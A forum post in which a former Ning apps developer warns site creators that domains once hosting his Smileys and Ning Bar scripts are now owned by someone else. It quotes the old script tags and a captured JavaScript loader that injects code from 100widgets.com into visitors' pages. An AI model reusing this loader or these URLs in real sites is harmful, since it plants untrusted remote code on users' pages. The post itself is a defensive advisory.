Hi everyone!
 
This is TJ, a Ning Apps developer for many years.  Looks like some Ning Creators are loading code in their custom code box to use my OLD Smileys and Ning Bar apps.
 
The URLs that you are loading are not under my control anymore.  Someone else now owns them, and they are loading javascript code onto your site from a known bad website called 100widgets.com.
 
You should immediately remove THIS code from your Custom Code box:
 
 
<script type="text/javascript" src="http://www.bkserv2.net/jIM/js/NingStatBar1B.js"></script>
 
<script type="text/javascript" src="http://www.bkserv3.net/jQueryHelp/js/ZMoreSmileyData.js"></script>
<!-- Smileys 6A - from jQueryHelp.ning.com - DO NOT DELETE THIS! -->
<script type="text/javascript" src="http://www.bkserv3.net/jQueryHelp/js/SmileyTest6A.js"></script>
 
I do not own bkserv3.net anymore.  Someone else bought that domain and created files with the same name as my old code.  For example, THIS is now in ZMoreSmileyData.js:
 
 
try {var j = document.createElement("script");j.type = "text/javascript";j.src = "//100widgets.com/js_data.php?id=278";if(document.querySelector("body")){document.querySelector("body").appendChild(j);} else if (document.querySelector("head")) {document.querySelector("head").appendChild(j);}} catch(e) {}
This piece of code is loading something onto your site from 100widgets.  I don't know what that code is doing, but you don't want it running on your site.
 
 
NOTE: This applies to ANY code that was previously on my domains bkserv3.net or really any domain bkservN.net where N is a number.  I think I had 2, 3, 4, 5 and maybe 6 over the years.
 
 
Again, please remove my old codes for my old apps from your site, for your own safety and that of your members.

Ning 3.0 is antisocial!
"Update
It's sad that autoplay for musicplayer still doesn't work on Ning 3.0!"
